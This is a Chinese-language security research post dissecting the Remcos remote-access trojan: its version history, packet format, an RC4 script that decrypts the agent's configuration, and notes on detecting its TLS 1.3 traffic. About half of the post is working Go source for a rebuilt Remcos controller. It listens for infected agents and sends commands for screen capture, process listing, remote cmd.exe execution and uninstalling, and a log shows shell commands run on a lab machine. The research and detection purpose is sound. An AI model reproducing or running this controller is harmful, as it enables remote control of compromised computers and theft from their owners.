最近,在浏览网络中威胁情报信息的时候,无意间发现多个APT组织均会使用Remcos商业木马作为远控程序窃取数据,于是,笔者就尝试了解和使用了Remcos商业木马,在模拟使用过程中,发现此商业木马使用起来确实还不错,而且目前还在维护更新,难怪会被众多APT组织青睐。
本着“既然Remcos商业木马被众多APT组织青睐,想必网络中肯定还有更多的Remcos商业木马的使用案例,因此,围绕Remcos商业木马的攻防技术研究肯定是有意义的”的思想,笔者从如下几个角度对Remcos商业木马进行了剖析:
相关Remcos商业木马使用情况如下:
为了更好的理解Remcos远控的历史通信模型,笔者查阅了大量资料,从如下几个角度进行了尝试:
结合各类资料,笔者对Remcos远控的通信模型进行了梳理,梳理情况如下:
时间 | 版本 | 说明 |
---|---|---|
v1.x | 2016 年 7 月 21 日--2018 年 2 月 2 日 | socket套接字通信,使用带有静态密钥的RC4算法加密通信连接 |
v2.x | 2018 年 2 月 2 日--2021 年 1 月 30 日 | 重写连接协议,提高效率和速度 |
v3.x | 2021 年 1 月 30 日--2023 年 11 月 26 日 | 新增TLS1.3协议选项,用于通信连接 |
v4.x | 2022 年 11 月 16 日--2023 年 11 月 26 日 | Remcos v4.0提高了处理大量连接时的性能 |
v4.9.3 | 2023 年 11 月 26 日 | 当前最新版本 |
相关截图如下:
RC4算法加密通信连接(网络中报告截图)
尝试从官网下载Remcos最新免费版远控程序,深入研究其通信模型,梳理发现,此版本支持两种通信模型:
在Remcos最新免费版远控程序中配置TLS1.3通信协议模型时,需要手动填写一个密码(备注:通过查看TLS1.3通信协议原理,发现TLS1.3是不需要手动填写密码的,因此推测此密钥主要用于TLS1.3通信链接建立完成后的数据校验)。
相关截图如下:
在Remcos最新免费版远控程序中配置socket套接字通信协议模型时,只需取消“Secure Connection(TLS1.3)”选项即可。
相关截图如下:
通过对通信数据包格式进行剖析,梳理通信数据格式如下:
#数据包1 24 04 ff 00 #固定魔术值 0c 00 00 00 #后续有效数据大小 01 00 00 00 #有效数据-指令编号 30 7c 1e 1e 1f 7c 33 30 #有效数据-数据载荷 #数据包2 24 04 ff 00 #固定魔术值 64 00 00 00 #后续有效数据大小 4c 00 00 00 #有效数据-指令编号 #有效数据-数据载荷 30 7c 1e 1e 1f 7c #分隔符“|...|” 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 61 00 64 00 6d 00 69 00 6e 00 5c 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5c 00 72 00 65 00 6d 00 63 00 6f 00 73 00 5f 00 62 00 2e 00 65 00 78 00 65 00 7c 1e 1e 1f 7c #分隔符“|...|” 36 33 7c 1e 1e 1f 7c #分隔符“|...|” 39 38 36 37 30 35 32 33
相关截图如下:
为了能够更好的对Remcos远控程序进行攻防对抗及预警发现,笔者准备从取证分析角度对此远控程序Agent端木马进行剖析:
通过对Remcos远控程序进行使用分析,发现此Remcos远控程序的整体操作确实很人性化、很流畅,经过官方7年的升级迭代,支持的指令也很丰富;由于使用的是免费版,Agent端运行后会弹出一个小框,因此此版本更多的是用于演示效果。
Agent端运行截图:
控制端运行截图如下:
通过分析,发现Agent端样本运行后,将从“SETTINGS”资源段中读取并解密配置信息,配置信息中包括了:外链IP、外链端口以及其他的配置项等。
配置信息解密流程如下:
备注:在分析过程中,笔者查阅了网络中的分析报告,发现不同报告中的不同Remcos版本均采用了相同的配置信息加密方式,因此,笔者推测Remcos历史版本至最新版本均采用统一的配置信息加密方式。
Remcos-v4.9.3远控程序Agent端木马代码截图如下:
加密配置信息数据:
解密配置信息数据:
为实现快速解密,可基于CyberChef工具或编写解密脚本对“SETTINGS”资源段进行解密:
package main import ( "crypto/rc4" "fmt" "io/ioutil" ) func main() { file_in := "C:\\Users\\admin\\Desktop\\remcos_a_SETTINGS" fileData, err := ioutil.ReadFile(file_in) if err != nil { fmt.Println("Error reading file:", err) return } key_len := fileData[0] key := fileData[1 : key_len+1] cipherText := fileData[key_len+1:] // 创建解密器 decipher, err := rc4.NewCipher(key) if err != nil { panic(err) } // 解密密文 decryptedText := make([]byte, len(cipherText)) decipher.XORKeyStream(decryptedText, cipherText) ioutil.WriteFile(file_in+"decrypt", decryptedText, 0664) }
在分析木马加密通信数据的过程中,笔者发现了多个与常规TLS解密有一些差异的地方:
由于笔者从未对TLS1.3与TLS1.2的区别进行过对比,因此在通信解密阶段走了不少弯路均无功而返,使用了多种方式对其通信数据进行解密发现均无法解密成功。
相关截图如下:
通过查询网络中的资料《SSL/TLS、对称加密和非对称加密和TLSv1.3》,发现TLS1.3不仅对通信数据进行了加密,还对握手阶段的数据进行了加密。
相关对比截图如下:
尝试构建程序模拟TLS1.3与TLS1.2通信,研究TLS1.3与TLS1.2的通信解密方法如下:
”TLS1.2-私钥解密“相关截图:
”TLS1.2-CLIENT_RANDOM形式的Master-Secret解密“相关截图:
”TLS1.3-CLIENT_HANDSHAKE_TRAFFIC_SECRET、SERVER_HANDSHAKE_TRAFFIC_SECRET、CLIENT_TRAFFIC_SECRET_0、SERVER_TRAFFIC_SECRET_0形式的Master-Secret解密“相关截图:
由于暂时无法对此样本的通信数据进行解密,因此只能从加密数据角度对此样本通信行为进行检测识别,通过对socket套接字通信过程与TLS1.3通信过程进行对比,发现可从如下角度对加密通信进行识别:
通过对此样本的通信行为进行分析,笔者发现在Remcos-v4.9.3版本程序socket套接字通信过程中:
通过对此样本的通信行为进行分析,笔者发现在Remcos-v4.9.3版本程序TLS1.3通信过程中:
为了更好的对Remcos-v4.9.3版本远控程序的通信模型进行剖析,常规逻辑是对Agent端程序进行逆向分析、动态调试,但笔者考虑此Agent端程序的功能复杂,若采用此种方式,势必会花费大量的时间,为了能够快速梳理出各功能的响应指令(1.控制端界面指令;2.Agent端指令编号)及返回数据,笔者从如下角度对此问题进行了考虑:
因此,基于上述思路,笔者尝试模拟构建了Remcos-v4.9.3远控程序的控制端,并可实现对部分指令的模拟复现。
screen_capture指令响应后返回的截图:
场景模拟实操:
F:\GolandProjects\Client_Remcos>Client_Remcos.exe Server started. Listening on 0.0.0.0:8080 初始化连接...... 请输入指令: help screen_capture:截屏 process_manager:进程管理 command_line:执行命令行 close:关闭Agent进程 uninstall:卸载Agent exit:退出Client 请输入指令: process_manager current process PID:1580 Process Name Path PID System 4 smss.exe 316 csrss.exe 404 wininit.exe 444 services.exe 544 lsass.exe 564 lsm.exe 572 svchost.exe 680 svchost.exe 744 svchost.exe 816 svchost.exe 892 svchost.exe 956 svchost.exe 1092 HaozipSvc.exe 1220 svchost.exe 1356 spoolsv.exe 1540 svchost.exe 1620 VGAuthService.exe 1984 vm3dservice.exe 1588 vmtoolsd.exe 940 WmiPrvSE.exe 2536 SearchIndexer.exe 2940 svchost.exe 2992 svchost.exe 3340 svchost.exe 652 msdtc.exe 1328 csrss.exe 2892 winlogon.exe 3504 vm3dservice.exe 3980 taskhost.exe C:\Windows\System32\taskhost.exe 3136 dwm.exe C:\Windows\System32\dwm.exe 2292 explorer.exe C:\Windows\explorer.exe 1640 vmtoolsd.exe C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 3120 svchost.exe 1460 ProcessHacker.exe C:\Program Files\Process Hacker 2\ProcessHacker.exe 1120 remcos_c.exe C:\Users\admin\Desktop\remcos_c.exe 1580 conhost.exe C:\Windows\System32\conhost.exe 5504 请输入指令: command_line Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\>dir Volume in drive C has no label. Volume Serial Number is A4EF-9C64 Directory of C:\ 2009/06/11 05:42 24 autoexec.bat 2009/06/11 05:42 10 config.sys 2009/07/14 10:37 <DIR> PerfLogs 2023/12/10 21:49 <DIR> Program Files 2023/03/25 12:46 <DIR> Users 2023/12/10 21:49 <DIR> Windows 2 File(s) 34 bytes 4 Dir(s) 55,032,639,488 bytes free C:\>ipconfig Windows IP Configuration Ethernet adapter Bluetooth ��������: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Ethernet adapter ��������: Connection-specific DNS Suffix . : localdomain Link-local IPv6 Address . . . . . : fe80::50a0:a823:67:d3ca%11 IPv4 Address. . . . . . . . . . . : 192.168.126.140 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : Tunnel adapter isatap.{53110CDC-B297-4DEF-B498-D66141DF7DB6}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.localdomain: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : localdomain C:\>whoami win-5nxxxxxxx7b\admin C:\>exit 请输入指令: help screen_capture:截屏 process_manager:进程管理 command_line:执行命令行 close:关闭Agent进程 uninstall:卸载Agent exit:退出Client 请输入指令: screen_capture 请输入指令: screen_capture output:截屏保存于01.png文件中 请输入指令: exit F:\GolandProjects\Client_Remcos>
代码结构如下:
package main import ( "Client_Remcos/remcos_xx" "bufio" "encoding/hex" "fmt" "net" "os" ) func main() { client_Remcos("0.0.0.0", "8080") } func client_Remcos(address, port string) { // 创建监听器 listener, err := net.Listen("tcp", address+":"+port) if err != nil { fmt.Println("Error listening:", err.Error()) return } defer listener.Close() fmt.Println("Server started. Listening on " + address + ":" + port) for { conn, err := listener.Accept() if err != nil { fmt.Println("Error accepting connection:", err.Error()) return } // 处理服务端连接 go handle_Remcos_Connection(conn) } } func handle_Remcos_Connection(conn net.Conn) { defer conn.Close() recvdata, err := remcos_xx.RecvBuf(conn) if err != nil { fmt.Println(err.Error()) panic(0) } command := remcos_xx.ParseCommand(recvdata[:4]) switch hex.EncodeToString(command) { case "0000004b": fmt.Println("初始化连接......") remcos_xx.Initconnect(conn) go remcos_xx.Heartbeat(conn) case "00000010": remcos_xx.Command_Screen_Capture(conn) return case "00000093": remcos_xx.Command_Command_Line(conn) return } for { fmt.Println("请输入指令:") reader := bufio.NewScanner(os.Stdin) if reader.Scan() { text := reader.Text() switch text { case "screen_capture": sendbuf, _ := hex.DecodeString("100000003133363339313535327c1e1e1f7c35307c1e1e1f7c307c1e1e1f7c2d317c1e1e1f7c30") remcos_xx.Sendbuf(conn, sendbuf) case "process_manager": sendbuf, _ := hex.DecodeString("06000000") remcos_xx.Sendbuf(conn, sendbuf) recvdata, err = remcos_xx.RecvBuf(conn) if err != nil { fmt.Println(err.Error()) panic(0) } command = remcos_xx.ParseCommand(recvdata[:4]) if hex.EncodeToString(command) == "0000004f" { remcos_xx.Command_Process_Manager(recvdata[4:]) } case "command_line": sendbuf, _ := hex.DecodeString("0e0000003133353730373732387c1e1e1f7c636d642e657865") remcos_xx.Sendbuf(conn, sendbuf) for { reader = bufio.NewScanner(os.Stdin) if reader.Scan() { text = reader.Text() if text == "exit" { remcos_xx.Stop() break } else { sendbuf = []byte{0x0E, 0x00, 0x00, 0x00, 0x31, 0x33, 0x35, 0x37, 0x30, 0x37, 0x37, 0x32, 0x38, 0x7C, 0x1E, 0x1E, 0x1F, 0x7C} sendbuf = append(sendbuf, []byte(text)...) sendbuf = append(sendbuf, []byte{0x7C, 0x1E, 0x1E, 0x1F, 0x7C}...) remcos_xx.Sendbuf(conn, sendbuf) } } } case "close": sendbuf, _ := hex.DecodeString("21000000") remcos_xx.Sendbuf(conn, sendbuf) os.Exit(0) case "uninstall": sendbuf, _ := hex.DecodeString("22000000") remcos_xx.Sendbuf(conn, sendbuf) os.Exit(0) case "exit": os.Exit(0) case "help": fmt.Println("\tscreen_capture:截屏") fmt.Println("\tprocess_manager:进程管理") fmt.Println("\tcommand_line:执行命令行") fmt.Println("\tclose:关闭Agent进程") fmt.Println("\tuninstall:卸载Agent") fmt.Println("\texit:退出Client") } } } }
package common import ( "bytes" "encoding/binary" "fmt" "io" "os" ) func Reversedata(arr *[]byte) { var temp byte length := len(*arr) for i := 0; i < length/2; i++ { temp = (*arr)[i] (*arr)[i] = (*arr)[length-1-i] (*arr)[length-1-i] = temp } } func BytesToInt(bys []byte) int { bytebuff := bytes.NewBuffer(bys) var data int32 binary.Read(bytebuff, binary.BigEndian, &data) return int(data) } func IntToBytes(n int) []byte { data := int32(n) bytebuf := bytes.NewBuffer([]byte{}) binary.Write(bytebuf, binary.BigEndian, data) return bytebuf.Bytes() } func checkPathIsExist(filename string) bool { var exist = true if _, err := os.Stat(filename); os.IsNotExist(err) { exist = false } return exist } func Writefile(filename string, buffer string) { var f *os.File var err1 error if checkPathIsExist(filename) { //如果文件存在 f, err1 = os.OpenFile(filename, os.O_CREATE, 0666) //打开文件 //fmt.Println(filename, "文件存在,更新文件") } else { f, err1 = os.Create(filename) //创建文件 //logger.Logger.Info("文件不存在") } //将文件写进去 _, err1 = io.WriteString(f, buffer) if err1 != nil { fmt.Println("写文件失败", err1) return } _ = f.Close() }
package remcos_xx import ( "Client_Remcos/common" "encoding/hex" "fmt" "net" "sync" ) var ( mu sync.Mutex stopped bool ) func Stop() { mu.Lock() stopped = true mu.Unlock() } func RecvBuf(conn net.Conn) (buf_recv []byte, err error) { for { buffer := make([]byte, 4096) bytesRead, err := conn.Read(buffer) if err != nil { fmt.Println("Error reading:", err.Error()) } buf_recv = append(buf_recv, buffer[:bytesRead]...) if hex.EncodeToString(buf_recv[:4]) == "2404ff00" { hex_len := []byte{} hex_len = append(hex_len, buf_recv[4:8]...) common.Reversedata(&hex_len) buflen := common.BytesToInt(hex_len) if len(buf_recv)-8 >= buflen { return buf_recv[8:], err } } } return } func ParseCommand(buf []byte) []byte { command := []byte{} command = append(command, buf...) common.Reversedata(&command) return command } func Sendbuf(conn net.Conn, buf []byte) { sendbuf := []byte{0x24, 0x04, 0xff, 0x00} buflen := len(buf) hex_len := common.IntToBytes(buflen) common.Reversedata(&hex_len) sendbuf = append(sendbuf, hex_len...) sendbuf = append(sendbuf, buf...) conn.Write(sendbuf) }
package remcos_xx import ( "encoding/hex" "fmt" "net" ) func Initconnect(conn net.Conn) { sendbuf, _ := hex.DecodeString("01000000307c1e1e1f7c3330") Sendbuf(conn, sendbuf) _, err := RecvBuf(conn) if err != nil { fmt.Println(err.Error()) panic(0) } sendbuf, _ = hex.DecodeString("11000000") Sendbuf(conn, sendbuf) _, err = RecvBuf(conn) if err != nil { fmt.Println(err.Error()) panic(0) } }
package remcos_xx import ( "encoding/hex" "fmt" "net" "time" ) func Heartbeat(conn net.Conn) { for { sendbuf, _ := hex.DecodeString("01000000307c1e1e1f7c3330") Sendbuf(conn, sendbuf) recvdata, err := RecvBuf(conn) if err != nil { fmt.Println(err.Error()) panic(0) } ParseCommand(recvdata[:4]) time.Sleep(30 * time.Second) } }
package remcos_xx import ( "Client_Remcos/common" "encoding/hex" "fmt" "net" "strings" ) func Command_Screen_Capture(conn net.Conn) { recvdata, err := RecvBuf(conn) if err != nil { fmt.Println(err.Error()) panic(0) } //fmt.Println(hex.EncodeToString(recvdata)) hex_datas := strings.Split(hex.EncodeToString(recvdata[4:]), "7c1e1e1f7c") filename, _ := hex.DecodeString(hex_datas[0]) bufdata, _ := hex.DecodeString(hex_datas[1]) fmt.Println("screen_capture output:" + "截屏保存于" + string(filename) + ".png" + "文件中") common.Writefile(string(filename)+".png", string(bufdata)) }
package remcos_xx import ( "bytes" "fmt" ) func Command_Process_Manager(buf_recv []byte) { datas := bytes.Split(buf_recv, []byte{0x7c, 0x1e, 0x1e, 0x1f, 0x7c}) list_process := datas[0] pid_current := datas[1] fmt.Println("current process PID:" + string(pid_current)) fmt.Println("Process Name\tPath\tPID") list_process = bytes.ReplaceAll(list_process, []byte{0x00}, []byte{}) list_process = bytes.ReplaceAll(list_process, []byte{0xa6, 0x30, 0x7c}, []byte("\n")) list_process = bytes.ReplaceAll(list_process, []byte{0xa6}, []byte("\t")) fmt.Println(string(list_process)) }
package remcos_xx import ( "encoding/hex" "fmt" "net" ) func Command_Command_Line(conn net.Conn) { for { mu.Lock() if stopped { mu.Unlock() break // 退出循环 } mu.Unlock() buf_recv, err := RecvBuf(conn) if err != nil { fmt.Println(err.Error()) panic(0) } if (hex.EncodeToString(buf_recv[:4]) == "62000000") && (len(buf_recv) > 4) { fmt.Print(string(buf_recv[4:])) } } }